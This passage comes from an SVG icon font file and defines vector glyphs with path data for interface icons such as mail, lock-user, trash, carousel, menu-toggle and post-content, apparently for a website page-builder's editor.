<glyph glyph-name="v-align-stretch" unicode="&#xe892;" d="M500 233c28 0 51-24 54-56l0-6 0-86 85 0c24 0 37-30 19-47l-138-137c-11-11-29-11-40 0l-138 137c-18 17-5 47 19 47l85 0 0 86c0 30 19 56 44 61l5 1 5 0z m417 171c30 0 54-24 54-54s-24-54-54-54h-834c-30 0-54 24-54 54s24 54 54 54h834z m-401 399l4-3 138-137c17-16 7-43-15-47l-4 0-85 0 0-86 0-6c-3-29-23-53-49-56l-5 0-6 0c-26 3-46 27-49 56l0 6 0 86-85 0c-23 0-35 26-22 44l3 3 139 137c10 10 25 11 36 3l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="pro-icon" unicode="&#xe893;" d="M0 710c0 77 63 140 140 140l1434 0c78 0 140-63 140-140l0-720c0-77-63-140-140-140l-1434 0c-77 0-140 63-140 140l0 720z m262-576l65 0 0 170 117 0c88 0 138 62 138 135 0 74-49 136-138 136l-182 0 0-441z m254 305c0-46-34-77-80-77l-109 0 0 155 109 0c46 0 80-31 80-78z m381-305l75 0-110 177c55 7 107 49 107 128 0 82-56 136-138 136l-182 0 0-441 65 0 0 170 80 0 103-170z m6 305c0-46-34-77-81-77l-108 0 0 155 108 0c47 0 81-31 81-78z m128-85c0-131 88-228 217-228 129 0 218 97 218 228 0 131-89 228-218 228-129 0-217-97-217-228z m368 0c0-96-60-169-151-169-92 0-151 73-151 169 0 97 59 169 151 169 91 0 151-72 151-169z" horiz-adv-x="1714" />

<glyph glyph-name="mail" unicode="&#xe894;" d="M896 17h-792c-57 0-104 46-104 104v458c0 58 47 104 104 104h792c57 0 104-46 104-104v-458c0-58-47-104-104-104z m-792 625c-34 0-62-28-62-63v-458c0-35 28-63 62-63h792c34 0 62 28 62 63v458c0 35-28 63-62 63h-792z m396-334c-23 0-46 7-66 20l-342 234c-9 7-11 19-5 29s19 12 29 5l342-233c25-18 59-18 84 0l342 233c10 7 23 4 29-5 7-10 4-22-5-29l-342-234c-20-13-43-20-66-20z m-396-208c-6 0-12 3-16 8-7 8-6 22 3 29l250 208c9 8 22 6 29-2 8-9 6-22-2-30l-250-208c-4-3-9-5-14-5z m792 0c-5 0-10 2-13 5l-250 208c-9 8-10 21-3 30 7 8 20 10 29 2l250-208c9-7 10-21 3-29-4-5-10-8-16-8z" horiz-adv-x="1000" />

<glyph glyph-name="lock-user" unicode="&#xe895;" d="M459 767c4 0 8 1 12 4 46 33 96 37 139 37 58 0 100-18 123-53 27-42 15-64 2-78l-20-21c-4-3-6-8-7-13l-5-105c0-5 2-11 6-15s9-6 15-6c6 0 11-3 15-8 4-4 6-10 5-16l-10-83c-1-10-10-18-23-18-10 0-19-8-20-18-4-23-21-54-22-55-5-10-2-22 8-28 10-6 23-2 29 8 0 1 14 27 22 53 25 6 44 27 47 53l11 83c2 18-4 35-15 49-7 8-16 14-25 17l4 79 15 15c24 25 43 68 2 130-31 48-84 72-157 72-29 0-96 0-158-42-178-3-202-86-202-166 0-19 5-61 8-87-11-3-21-9-28-18-12-13-18-31-16-49l11-83c3-27 24-49 50-54 9-57 36-113 77-155l-15-58-160-40c-104-26-177-120-177-227 0-6 2-11 6-15 4-4 9-6 15-6l542 1c11 0 20 9 20 21 0 11-9 20-20 20 0 0 0 0 0 0l-520 0c8 79 66 146 145 166l171 43c8 1 14 7 15 15l21 81c2 8-1 16-6 21-42 39-70 97-75 154 0 11-10 20-20 20h-7c-11 0-20 7-21 18l-10 83c-1 6 1 12 5 17 4 4 9 7 15 7h5c6 0 11 2 15 7 4 4 6 10 5 16-2 21-9 81-9 102 0 65 13 123 167 125z m520-624h-21v20c0 81-65 146-145 146s-146-65-146-146v-20h-21c-12 0-21-10-21-21v-250c0-12 9-21 21-21h333c12 0 21 9 21 21v250c0 11-9 21-21 21z m-271 20c0 58 47 105 105 105s104-47 104-105v-20h-209v20z m250-271h-291v209h291v-209z m-166 90v-27c0-12 9-21 21-21s20 9 20 21v27c13 7 21 20 21 36 0 23-18 41-41 41s-42-18-42-41c0-16 8-29 21-36z" horiz-adv-x="1000" />

<glyph glyph-name="testimonial-carousel" unicode="&#xe896;" d="M25 450c-8-12-8-21 0-33l83-84c13-8 21-8 34 0 8 9 8 21 0 34l-71 66 71 67c8 8 8 21 0 33-9 9-21 9-34 0l-83-83m950-33c8 8 8 21 0 33l-83 83c-9 9-21 9-34 0-8-12-8-20 0-33l67-67-67-66c-8-13-8-21 0-34 13-8 21-8 34 0l83 84m-229 179c-17 17-38 25-63 25h-366c-25 0-46-8-63-25-16-21-25-42-25-63v-225c0-25 9-45 29-66 17-17 38-25 63-25h33l-54-104c-4-9-4-17 4-25 9-9 17-9 25 0l175 129h175c25 0 46 8 63 25 16 16 25 41 25 66v225c4 21-4 42-21 63m-29-29c8-9 12-21 12-34v-225c0-12-4-25-12-33-9-8-21-17-34-17h-183l-12-4-109-83 25 54c4 8 4 13 0 21s-8 8-16 8h-71c-13 0-25 4-34 17-8 8-16 21-16 33v229c0 13 4 25 16 34 9 8 21 12 34 12h366c13 0 21-4 34-12z" horiz-adv-x="1000" />

<glyph glyph-name="media-carousel" unicode="&#xe897;" d="M500 121c-12 0-21-8-21-21 0-12 9-21 21-21 13 0 21 9 21 21 0 13-8 21-21 21m83 0c-12 0-20-8-20-21 0-12 8-21 20-21 13 0 21 9 21 21 0 13-8 21-21 21m-187-21c0-12 8-21 21-21 12 0 21 9 21 21 0 13-9 21-21 21-13 0-21-8-21-21m-279 475l-84-42c-12-4-16-16-8-25 4-12 17-16 25-8l54 25v-262l-54 25c-12 8-21 4-25-9-8-12-4-21 8-25l84-41 8-9 8 4c9 5 13 9 9 17v333c0 9-4 13-9 17-4 4-12 4-16 0m696 25c0 13-9 21-21 21h-584c-12 0-20-8-20-21v-417c0-12 8-20 20-20h584c12 0 21 8 21 20v417m-42-396h-542v375h542v-375m-308 279l-5 0c-8 0-12-4-12-8v-171l0-4c4-4 12-8 17-4l133 83 4 4c4 5 0 13-4 17l-133 83m433 38l50-25c12-8 21-4 25 8 8 13 4 21-8 25l-84 42c-8 4-12 4-21 0-4-4-8-8-8-17v-333c0-8 4-17 8-17l13-4 8 4 84 42c12 4 16 12 8 25-4 12-17 17-25 8l-50-25v267z" horiz-adv-x="1000" />

<glyph glyph-name="section" unicode="&#xe898;" d="M58 783c-16-16-20-37-20-62v-742c0-25 8-46 25-62s37-25 62-25h750c25 0 46 8 63 25 16 16 25 37 25 62v742c0 25-9 46-25 62-21 17-42 25-63 25h-750c-29 5-50-8-67-25m67-154h733v-275h-733v275m738-366v-276h-738v276h738z" horiz-adv-x="1000" />

<glyph glyph-name="column" unicode="&#xe899;" d="M958 721c0 25-8 46-25 62-16 17-37 25-62 25h-746c-21 0-42-8-58-25-17-16-25-37-25-62v-746c0-25 8-42 25-58 16-17 37-25 58-25h746c25 0 46 8 62 25 17 16 25 37 25 58v746m-825-96h321v-642h-321v642m413-642v642h317v-642h-317z" horiz-adv-x="1000" />

<glyph glyph-name="edit" unicode="&#xe89a;" d="M725 526l-196 197 67 67c55 53 109 83 155 38l79-80c53-52 15-101-38-155z m-256 137l196-196-459-459h-193l0 196z m-434-813a35 35 0 0 0 0 70h792a35 35 0 0 0 0-70z" horiz-adv-x="862" />

<glyph glyph-name="clone" unicode="&#xe89b;" d="M288 563c-17-13-25-30-25-55v-558c0-21 8-38 20-54 13-17 34-25 55-25h558c21 0 37 8 54 25s21 33 21 54v558c0 21-8 42-21 55-17 16-33 25-54 25h-554c-25 0-42-9-54-25m-163 145c0 13 4 17 17 17h504c17 0 21-4 21-17v-37c0-13 4-25 16-33 9-9 21-13 34-13s25 4 33 13c8 8 17 20 17 33v37c0 34-13 59-34 84-25 21-50 33-83 33h-508c-34 0-59-12-84-33-20-25-33-54-33-84v-504c0-33 13-58 33-83 25-21 50-33 84-33h37c13 0 25 4 34 16 8 9 16 21 16 34 0 12-4 25-16 33-9 8-21 12-34 12h-37c-13 0-17 5-17 21v504z" horiz-adv-x="1000" />

<glyph glyph-name="trash" unicode="&#xe89c;" d="M212 782h-191a21 21 0 0 1-21-21h0v-52a21 21 0 0 1 21-20h763a21 21 0 0 1 21 21v51a21 21 0 0 1-21 21h-191l-13 52a21 21 0 0 1-21 16h-314a21 21 0 0 1-21-16z m-148-178h678a21 21 0 0 0 21-21v-606h0a127 127 0 0 0-127-127h-466a127 127 0 0 0-128 127v607a21 21 0 0 0 22 20z" horiz-adv-x="805" />

<glyph glyph-name="play" unicode="&#xe89d;" d="M838 688c-92 91-205 137-338 137-129 0-242-46-337-137-92-92-138-205-138-338 0-133 46-246 138-337 91-92 204-142 337-142 133 0 246 46 338 142 91 91 137 204 137 337 0 133-46 246-137 338m-30-30c84-87 125-187 125-308 0-121-41-225-125-308-83-84-187-130-308-130-121 0-221 42-304 130-83 83-129 187-129 308 0 121 41 221 129 308 83 84 187 130 304 130 121 0 221-46 308-130m-370-200v-250l204 125-204 125z" horiz-adv-x="1000" />

<glyph glyph-name="angle-right" unicode="&#xe89e;" d="M417 600l-59-58 192-192-192-192 59-58 250 250-250 250z" horiz-adv-x="1000" />

<glyph glyph-name="angle-left" unicode="&#xe89f;" d="M642 541l-59 59-250-250 250-250 59 59-191 191z" horiz-adv-x="1000" />

<glyph glyph-name="animated-headline" unicode="&#xe8a0;" d="M246 613c-8 16-38 16-42 0l-137-367c-4-13 0-25 12-29 13-4 25 0 29 12l46 121c0 0 0 0 0 0h138c0 0 0 0 0 0l46-121c4-8 12-16 20-16 5 0 5 0 9 0 12 4 16 16 12 29l-133 371z m-75-213l54 142 54-142h-108z m646 92c37 0 66-29 66-67 0-12 9-21 21-21 13 0 21 9 21 21 0 63-50 113-112 113-63 0-113-50-113-113v-92c0-62 50-112 113-112 62 0 112 50 112 112 0 13-8 21-21 21-12 0-21-8-21-21 0-37-29-66-66-66s-67 29-67 66v92c-4 33 29 67 67 67z m-275 46c-25 0-50-9-67-25v91c0 13-8 21-21 21-12 0-21-8-21-21v-183-21-46-21-91c0-13 9-21 21-21 13 0 21 8 21 21v0c21-13 42-25 67-25 62 0 112 50 112 112v92c4 67-50 117-112 117z m71-205c0-37-30-66-67-66s-67 29-67 66v21 46 21c0 37 29 67 67 67s67-30 67-67v-88z m-550-250c366 55 633 71 808 46 54-8 75-25 42-46" horiz-adv-x="1000" />

<glyph glyph-name="menu-toggle" unicode="&#xe8a1;" d="M250 475h500c13 0 21 8 21 21s-8 21-21 21h-500c-12 0-21-9-21-21s9-21 21-21z m0-167h500c13 0 21 9 21 21s-8 21-21 21h-500c-12 0-21-8-21-21s9-21 21-21z m0-166h500c13 0 21 8 21 21s-8 20-21 20h-500c-12 0-21-8-21-20s9-21 21-21z m667-142v700c0 38-25 67-54 67h-725c-30 0-55-29-55-67v-700c0-38 25-67 55-67h720c34 0 59 29 59 67z m41 0c0-58-41-108-95-108h-725c-55 0-96 50-96 108v700c0 58 41 108 96 108h720c59 0 100-50 100-108v-700z" horiz-adv-x="1000" />

<glyph glyph-name="fb-embed" unicode="&#xe8a2;" d="M696 150c-8 8-21 8-29 0l-79-83c-9-9-9-21 0-29l79-84c4-4 8-4 12-4 4 0 9 0 13 4 8 8 8 21 0 29l-63 67 63 67c12 12 12 25 4 33z m192 0c8 8 20 8 29 0l79-83c8-9 8-21 0-29l-79-84c-4-4-9-4-13-4-4 0-8 0-12 4-9 8-9 21 0 29l62 67-62 67c-13 12-13 25-4 33z m-71 71l-67-275c-4-13 4-21 17-25 12-4 21 4 25 16l66 280c5 12-4 21-16 25s-25-9-25-21z m-338-234h-391c-25 0-50 26-50 59v633c0 34 20 59 50 59h654c25 0 50-25 50-59v-337c0-13 8-21 21-21s20 8 20 21v337c0 54-37 100-91 100h-654c-50 0-88-46-88-100v-633c0-54 38-100 92-100h387c13 0 21 8 21 21s-8 20-21 20z m42 584c-96 0-146-50-146-150v-246c0-12 8-21 21-21s21 9 21 21v246c0 75 33 108 104 108 12 0 21 9 21 21s-9 21-21 21z m-221-208h217c12 0 21 8 21 20s-9 21-21 21h-217c-12 0-21-8-21-21s9-20 21-20z" horiz-adv-x="1000" />

<glyph glyph-name="fb-feed" unicode="&#xe8a3;" d="M63 371c-13 0-21 8-21 21v416c0 13 8 21 21 21h875c12 0 20-8 20-21v-416c0-13-8-21-20-21h-875z m854 42v375h-834v-375h834z m-854-167h875c12 0 20 8 20 21s-8 21-20 21h-875c-13 0-21-9-21-21s8-21 21-21z m0-125h583c12 0 21 8 21 21s-9 21-21 21h-583c-13 0-21-9-21-21s8-21 21-21z m0-125h583c12 0 21 8 21 21s-9 21-21 21h-583c-13 0-21-9-21-21s8-21 21-21z m0-125h583c12 0 21 8 21 21s-9 20-21 20h-583c-13 0-21-8-21-20s8-21 21-21z m833 292c-67 0-104-38-104-105v-166c0-13 8-21 21-21s20 8 20 21v166c0 46 17 63 63 63 12 0 21 8 21 21s-9 21-21 21z m-146-167h146c12 0 21 8 21 21s-9 21-21 21h-146c-12 0-21-9-21-21s9-21 21-21z" horiz-adv-x="1000" />

<glyph glyph-name="twitter-embed" unicode="&#xe8a4;" d="M696 150c-8 8-21 8-29 0l-79-83c-9-9-9-21 0-29l79-84c4-4 8-4 12-4 4 0 9 0 13 4 8 8 8 21 0 29l-63 67 63 67c12 12 12 25 4 33z m192 0c8 8 20 8 29 0l79-83c8-9 8-21 0-29l-79-84c-4-4-9-4-13-4-4 0-8 0-12 4-9 8-9 21 0 29l62 67-62 67c-13 12-13 25-4 33z m-71 71l-67-275c-4-13 4-21 17-25 12-4 21 4 25 16l66 280c5 12-4 21-16 25s-25-9-25-21z m-546 192c12-9 8-30-4-34-4 0-13 0-21 0 12-21 29-37 46-41 16 0 21-21 12-34-4-4-12-8-21-12 13-13 30-17 50-21 17 0 25-21 13-33-17-17-38-30-63-38 146-42 284 88 267 233 0 9 4 13 8 17-16 13-20 25-16 33-4 0-9 5-13 5-25 25-54 29-83 8-21-13-29-50-25-71 4-12-8-25-21-21-62 4-117 29-154 71-4-25 8-54 25-62z m-50 112c4 8 21 13 29 0 33-46 75-75 133-83 0 33 17 71 46 87 42 25 84 25 121-8 13 4 29 12 33 17 13 12 34-5 30-21 0-4-5-9-5-13 13 0 21-16 13-29-8-12-21-29-38-42 13-191-191-354-387-233-17 13-8 38 12 33 25-4 50 0 71 13-25 12-46 33-54 58-4 9 0 17 8 21-20 21-33 46-33 79 0 9 4 17 13 17-9 33-9 71 8 104z m258-538h-391c-25 0-50 26-50 59v633c0 34 20 59 50 59h654c25 0 50-25 50-59v-337c0-13 8-21 21-21s20 8 20 21v337c0 54-37 100-91 100h-654c-50 0-88-46-88-100v-633c0-54 38-100 92-100h387c13 0 21 8 21 21s-8 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="twitter-feed" unicode="&#xe8a5;" d="M63 371c-13 0-21 8-21 21v416c0 13 8 21 21 21h875c12 0 20-8 20-21v-416c0-13-8-21-20-21h-875z m854 42v375h-834v-375h834z m-854-167h875c12 0 20 8 20 21s-8 21-20 21h-875c-13 0-21-9-21-21s8-21 21-21z m0-125h458c12 0 21 8 21 21s-9 21-21 21h-458c-13 0-21-9-21-21s8-21 21-21z m0-125h458c12 0 21 8 21 21s-9 21-21 21h-458c-13 0-21-9-21-21s8-21 21-21z m0-125h458c12 0 21 8 21 21s-9 20-21 20h-458c-13 0-21-8-21-20s8-21 21-21z m583 279c25-33 71-67 133-71-4 17 0 54 25 71 29 17 59 17 88-8 12 0 37 12 41 16-4-12-16-33-29-37 9 0 29 4 38 8-9-16-25-29-34-33 13-117-120-275-287-175 37-4 75 8 96 29-29 0-54 17-67 46 13-4 29-4 38 4-13 0-55 25-55 71 9-8 21-13 34-8-17 8-42 45-21 87l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="sync" unicode="&#xe8a6;" d="M500 141c49-1 94 15 136 49 59 48 82 126 61 229-4 23 13 44 36 47s40-14 47-36c33-110-8-237-92-305-57-46-120-68-188-67v-105c0-6-2-10-5-14-4-4-8-7-13-7s-9 3-13 7l-130 146c-4 4-5 9-5 14s1 11 5 15l130 146c4 4 8 6 13 6s9-2 13-6c3-5 5-10 5-15v-104z m0 417c-49 1-94-15-136-49-59-48-82-126-61-229 5-22-13-44-36-47s-40 14-47 36c-33 111 8 237 92 305 57 46 120 69 188 68v104c0 6 2 10 5 14s8 7 13 7 10-2 13-7l130-145c4-5 5-10 5-15s-1-10-5-15l-130-145c-3-5-8-7-13-7s-9 2-13 7-5 8-5 14v104z" horiz-adv-x="1000" />

<glyph glyph-name="import-export" unicode="&#xe8a7;" d="M417 600v-345c0-17-19-30-42-30s-42 13-42 30v345h-104c-6 0-10 2-14 5-5 4-7 8-7 13 0 5 2 10 7 13l145 130c5 4 10 5 15 5s10-1 15-5l145-130c5-3 7-8 7-13 0-5-2-9-7-13-4-3-9-5-14-5h-104z m208-500v345c0 17 19 30 42 30s41-13 41-30v-345h105c5 0 10-2 14-5s6-8 6-13-2-9-6-13l-146-130c-4-4-9-5-14-5s-11 1-15 5l-146 130c-4 4-6 8-6 13s2 9 6 13 9 5 15 5h104z" horiz-adv-x="1000" />

<glyph glyph-name="check-circle" unicode="&#xe8a8;" d="M496 804c-250 0-454-204-454-458s204-454 454-454 454 204 454 454-200 458-454 458m0-954c-271 0-496 225-496 496s225 500 496 500 496-225 496-496-221-500-496-500m-79 288l-217 216c-8 9-8 21 0 29 8 9 25 9 33 0l200-200 330 330c8 8 20 8 29 0 8-9 8-21 0-30l-346-345c-4-5-8-9-17-9s-8 4-12 9z" horiz-adv-x="1000" />

<glyph glyph-name="library-save" unicode="&#xe8a9;" d="M331 267h338c21 0 39-18 39-40v-337c0-22-17-40-39-40h-338c-21 0-39 17-39 40v337c0 22 17 40 39 40z m2-42v-333h334v333h-334z m73-95c0 11 9 20 21 20s21-9 21-20v-143c0-12-9-21-21-21s-21 9-21 21v143z m91-21c-12 0-21 9-21 21 0 11 9 20 21 20h86c12 0 21-9 21-20 0-12-9-21-21-21h-86z m0-71c-12 0-21 9-21 20s9 21 21 21h86c12 0 21-9 21-21s-9-20-21-20h-86z m0-72c-12 0-21 9-21 21 0 12 9 21 21 21h86c12 0 21-9 21-21 0-12-9-21-21-21h-86z m-455 778c0 1 0 1 0 2 0 57 47 104 105 104h706c58 0 105-47 105-104v-129c26-20 42-52 42-87v-384c0-61-47-109-106-109h-120c-12 0-21 9-21 21s9 20 21 20h120c35 0 64 30 64 68v384c0 38-29 68-64 68h-501c-45 0-85 29-100 72l-3 3-2 6c-9 28-34 46-62 46h-120c-35 0-64-30-64-67v-512c0-38 29-68 64-68h120c12 0 21-9 21-20s-9-21-21-21h-120c-58 0-106 48-106 109v512c0 35 16 66 42 86z m44 21c7 1 14 2 20 2h120c44 0 84-29 100-72l2-3 4-7c8-27 33-46 61-46h501c8 0 16-1 23-2v109c0 34-29 62-64 62h-706c-29 0-53-18-61-43z" horiz-adv-x="1000" />

<glyph glyph-name="library-download" unicode="&#xe8aa;" d="M479 25v138c0 11 9 20 21 20s21-9 21-20v-138l27 28c8 8 21 8 30 0s8-22 0-30l-63-63c-8-8-21-8-30 0l-62 63c-8 8-8 21 0 30 8 8 21 8 30 0l26-28z m-146 33c0-92 75-166 167-166s167 74 167 166-75 167-167 167-167-75-167-167z m-291 686c0 1 0 1 0 2 0 57 47 104 105 104h706c58 0 105-47 105-104v-129c26-20 42-52 42-87v-384c0-61-47-109-106-109h-120c-12 0-21 9-21 21s9 20 21 20h120c35 0 64 30 64 68v384c0 38-29 68-64 68h-501c-45 0-85 29-100 72l-3 3-2 6c-9 28-34 46-62 46h-120c-35 0-64-30-64-67v-512c0-38 29-68 64-68h120c12 0 21-9 21-20s-9-21-21-21h-120c-58 0-106 48-106 109v512c0 35 16 66 42 86z m44 21c7 1 14 2 20 2h120c44 0 84-29 100-72l2-3 4-7c8-27 33-46 61-46h501c8 0 16-1 23-2v109c0 34-29 62-64 62h-706c-29 0-53-18-61-43z m206-707c0 115 93 209 208 209s208-94 208-209-93-208-208-208-208 93-208 208z" horiz-adv-x="1000" />

<glyph glyph-name="insert" unicode="&#xe8ab;" d="M375 433h-127c-11 0-20-3-28-10-8-8-12-16-12-26 0-10 4-19 12-26l273-259c8-8 17-11 28-11s19 4 27 11l274 259c8 7 11 16 11 26 0 10-3 18-11 26-8 7-17 10-28 10h-127v292c0 23-19 42-42 42h-208c-23 0-42-19-42-42l0 0v-292z m-122-500c-25 0-45 19-45 42s20 42 45 42h536c24 0 44-19 44-42s-20-42-44-42h-536z" horiz-adv-x="1000" />

<glyph glyph-name="preview-medium" unicode="&#xe8ac;" d="M893 347c-52 81-117 141-195 181 21-36 31-74 31-115 0-63-22-118-67-163-45-44-99-67-162-67s-117 23-162 67c-45 45-67 100-67 163 0 41 10 79 31 115-78-40-143-100-195-181 46-70 102-125 171-167s142-62 222-62 153 21 222 62 126 97 171 167z m-368 196c0 7-3 13-7 18-5 4-11 7-18 7-42 0-79-15-110-46-30-30-45-67-45-109 0-7 2-13 7-18 4-5 10-7 17-7 7 0 13 2 18 7 4 5 7 10 7 18 0 29 10 54 31 75s46 31 75 31c7 0 13 2 18 7 4 5 7 11 7 17z m433-196c0-12-3-23-10-35-48-79-112-142-193-189-80-47-165-70-255-70s-175 23-255 71c-81 47-145 110-193 188-7 12-10 24-10 36s3 23 10 35c48 78 112 141 193 188s165 71 255 71 175-24 255-72 145-110 193-188c7-12 10-23 10-35z" horiz-adv-x="1000" />

<glyph glyph-name="sort-down" unicode="&#xe8ad;" d="M208 480c0-10 4-19 12-26l273-259c8-8 17-11 28-11s19 4 27 11l274 259c8 7 11 16 11 26 0 10-3 18-11 25-8 8-17 11-28 11h-546c-11 0-20-3-28-11-8-7-12-15-12-25z" horiz-adv-x="1000" />

<glyph glyph-name="sort-up" unicode="&#xe8ae;" d="M208 220c0 10 4 19 12 26l273 259c8 8 17 11 28 11s19-3 27-11l274-259c8-7 11-16 11-26 0-10-3-18-11-25-8-8-17-11-28-11h-546c-11 0-20 4-28 11-8 7-12 15-12 25z" horiz-adv-x="1000" />

<glyph glyph-name="heading" unicode="&#xe8af;" d="M606-67l0 0c0 0 0 0 0 0z m12 870c0 0 0 0 0 0 0 0-1 1-1 1 0 0 0 0 1-1 0 0 0 0 0 0z m-221-36c0 0 0 0 0 0l0 0z m-280 36c1 0 1 0 0 0 0 0 0 1-1 1 0 0 1 0 1-1 0 0 0 0 0 0z m-11-870c0 0 0 0 0 0l0 0z m644 0l60 1c-3 4-6 9-8 15-8 19-9 35-8 69 0 7 0 10 0 14v651c0 36 7 64 21 84l-63 0-65-1c14-20 21-48 21-84v-247c0-24-19-44-43-44h-327c-25 0-44 20-44 44v248c0 36 7 64 21 84l-63 0-65-1c14-20 21-48 21-84v-651c0-4 0-7 0-14 1-35 0-50-8-70-2-5-5-10-7-14l57 0 60 0c-3 5-6 10-8 15-8 20-9 35-8 70 0 7 0 10 0 14v232c0 24 20 44 44 44h327c24 0 43-20 43-44v-233c0-4 0-7 1-14 1-35 0-50-9-70-2-5-4-10-7-14l57 0z m-415 332v-233c0-42-9-90 49-96 6 0 12-1 18-3 9-3 15-11 15-20 0-12-9-21-21-21l-146 0-144 0c-12 0-21 9-21 20 0 10 6 18 15 20 6 2 11 3 17 3 58 6 49 54 49 96v651c0 94-56 77-71 86-1 1-2 1-3 2-9 7-12 20-5 29 4 6 10 9 17 9l147 0 146 0c6 0 13-3 17-8 6-10 4-23-5-30-18-11-74 7-74-87v-248c0-1 1-2 3-2h326c1 0 2 1 2 2v247c0 94-56 77-71 86 0 1-1 1-2 2-10 7-12 20-5 29 3 6 10 9 17 9l147 0 145 0c7 0 13-3 17-8 7-10 4-23-5-30-17-11-73 7-73-87v-651c0-42-9-90 49-96 6 0 12-1 17-3 9-3 16-11 16-20 0-12-10-21-21-21l-147 0-144 0c-11 0-21 9-21 20 0 10 7 18 16 20 5 2 11 3 17 3 57 6 48 54 48 96v234c0 1-1 2-2 2h-326c-2 0-3-1-3-2z" horiz-adv-x="1000" />

<glyph glyph-name="logo" unicode="&#xe8b0;" d="M937 350c0 242-196 437-437 437s-437-195-437-437 195-437 437-437 437 195 437 437z m42 0c0-265-214-479-479-479s-479 214-479 479 214 479 479 479 479-214 479-479z m-773 75h9l0 0c7 0 12-5 12-11v-99l0 0c0-7 5-12 11-12h28l0 0c7 0 12-5 12-11v-10l0 0c0-7-5-12-12-12h-60l0 0c-6 0-11 5-11 12v132l0 0c0 6 5 11 11 11z m214-76c0 15-5 27-13 36-9 10-21 14-35 14s-27-4-35-14-14-21-14-36c0-16 5-28 14-37 9-9 21-14 35-14s26 5 35 14c8 9 13 21 13 37z m-106-57c-16 15-24 33-24 57 0 23 8 42 24 57 16 15 35 22 58 22 23 0 42-7 58-22 15-15 23-34 23-57 0-23-8-42-23-57-16-15-35-23-58-23s-42 8-58 23z m155 57c0 23 8 41 24 56 16 15 35 23 57 23 18 0 33-4 47-13 13-9 23-22 26-34 0-7-8-8-21-8-4 0-7 2-10 6-7 14-25 20-42 20-15 0-26-4-35-14s-13-21-13-36c0-16 4-28 13-37 9-9 20-14 33-14 13 0 23 4 31 10 8 6 11 11 13 19h-41l0 0c-6 0-11 5-11 11 0 0 0 0 0 0l0 8 0 0c0 7 5 11 11 11l64-1 0 0c6 0 11-5 11-11v-11c-3-16-9-32-24-44-14-13-32-20-54-20s-40 8-55 23c-16 14-24 33-24 56z m305 0c0 15-5 27-14 36s-20 14-35 14-26-4-35-14-13-21-13-36c0-16 5-28 13-37 10-9 21-14 35-14s27 5 35 14c10 9 14 21 14 37z m-106-57c-16 15-24 33-24 57 0 23 8 42 24 57 16 15 35 22 58 22s42-7 57-22c16-15 24-34 24-57 0-23-8-42-24-57-15-15-35-23-58-23-22 0-42 8-57 23z m-509 187c-9 0-17 8-17 17 0 9 8 17 17 17h674c10 0 17-8 17-17 0-9-7-17-17-17h-674z m0-291c-9 0-17 7-17 16s8 17 17 17h674c10 0 17-8 17-17s-7-16-17-16h-674z" horiz-adv-x="1000" />

<glyph glyph-name="meta-data" unicode="&#xe8b1;" d="M422-68l-316 296c-13 12-14 33-2 47l446 479c6 7 15 11 25 11l293-2c17 0 32-14 33-31l23-293c1-9-3-18-9-25l-446-480c-12-13-34-14-47-2z m460 508l-22 281-282 2-438-471 305-283 437 471z m-504-286c-43 17-64 66-47 109 17 42 66 63 109 46 42-17 63-66 46-109-17-42-66-63-108-46z m30 36c23 0 42 18 42 41 0 23-19 42-42 42s-41-19-41-42c0-23 18-41 41-41z m109 119c-43 17-64 66-47 108 18 43 66 63 109 46 42-17 63-65 46-108s-65-63-108-46z m31 36c23 0 42 18 42 41 0 23-19 42-42 42-23 0-42-19-42-42 0-23 19-41 42-41z m108 119c-42 17-63 66-46 108 17 43 66 63 108 46s64-65 47-108c-17-43-66-63-109-46z m32 35c22 0 41 19 41 42 0 23-19 42-41 42s-42-19-42-42c0-23 18-42 42-42z" horiz-adv-x="1000" />

<glyph glyph-name="post-content" unicode="&#xe8b2;" d="M435 267h-120l-25-70c-3-11-15-17-26-12-11 3-17 15-13 26l104 292c7 18 33 18 40 0l104-292c4-11-2-23-13-26s-23 1-26 12l-25 70z m-15 41l-45 126-45-126h90z m-40 535c4 5 10 7 16 7h417c34 0 62-28 62-62v-876c0-34-28-62-62-62h-625c-35 0-63 28-63 62v667c0 6 3 12 7 16l248 248z m-5-64l-179-179h158c12 0 21 9 21 21v158z m438 29h-396v-187c0-35-28-63-63-63h-187v-646c0-11 9-20 21-20h625c11 0 20 9 20 20v876c0 11-9 20-20 20z m-250-333c-12 0-21 9-21 21s9 21 21 21h166c12 0 21-9 21-21s-9-21-21-21h-166z m0-125c-12 0-21 9-21 21s9 21 21 21h166c12 0 21-9 21-21s-9-21-21-21h-166z m0-125c-12 0-21 9-21 21s9 21 21 21h166c12 0 21-9 21-21s-9-21-21-21h-166z m-271-146c-12 0-21 9-21 21s9 21 21 21h458c12 0 21-9 21-21s-9-21-21-21h-458z m0-125c-12 0-21 9-21 21s9 21 21 21h458c12 0 21-9 21-21s-9-21-21-21h-458z" horiz-adv-x="1000" />

<glyph glyph-name="post-excerpt" unicode="&#xe8b3;" d="M380 843c4 5 10 7 16 7h417c34 0 62-28 62-62v-876c0-34-28-62-62-62h-625c-35 0-63 28-63 62v667c0 6 3 12 7 16l248 248z m-5-64l-179-179h158c12 0 21 9 21 21v158z m438 29h-396v-187c0-35-28-63-63-63h-187v-646c0-11 9-20 21-20h625c11 0 20 9 20 20v876c0 11-9 20-20 20z m-459-812c0-23-19-42-41-42s-42 19-42 42 19 42 42 42 41-19 41-42z m125 0c0-23-19-42-41-42s-42 19-42 42 19 42 42 42 41-19 41-42z m125 0c0-23-19-42-41-42s-42 19-42 42 19 42 42 42 41-19 41-42z m-312 250c-12 0-21 9-21 21s9 21 21 21h458c12 0 21-10 21-21s-9-21-21-21h-458z m0 125c-12 0-21 9-21 21s9 21 21 21h333c12 0 21-10 21-21s-9-21-21-21h-333z m0-250c-12 0-21 9-21 21s9 21 21 21h375c11 0 21-10 21-21s-10-21-21-21h-375z" horiz-adv-x="1000" />

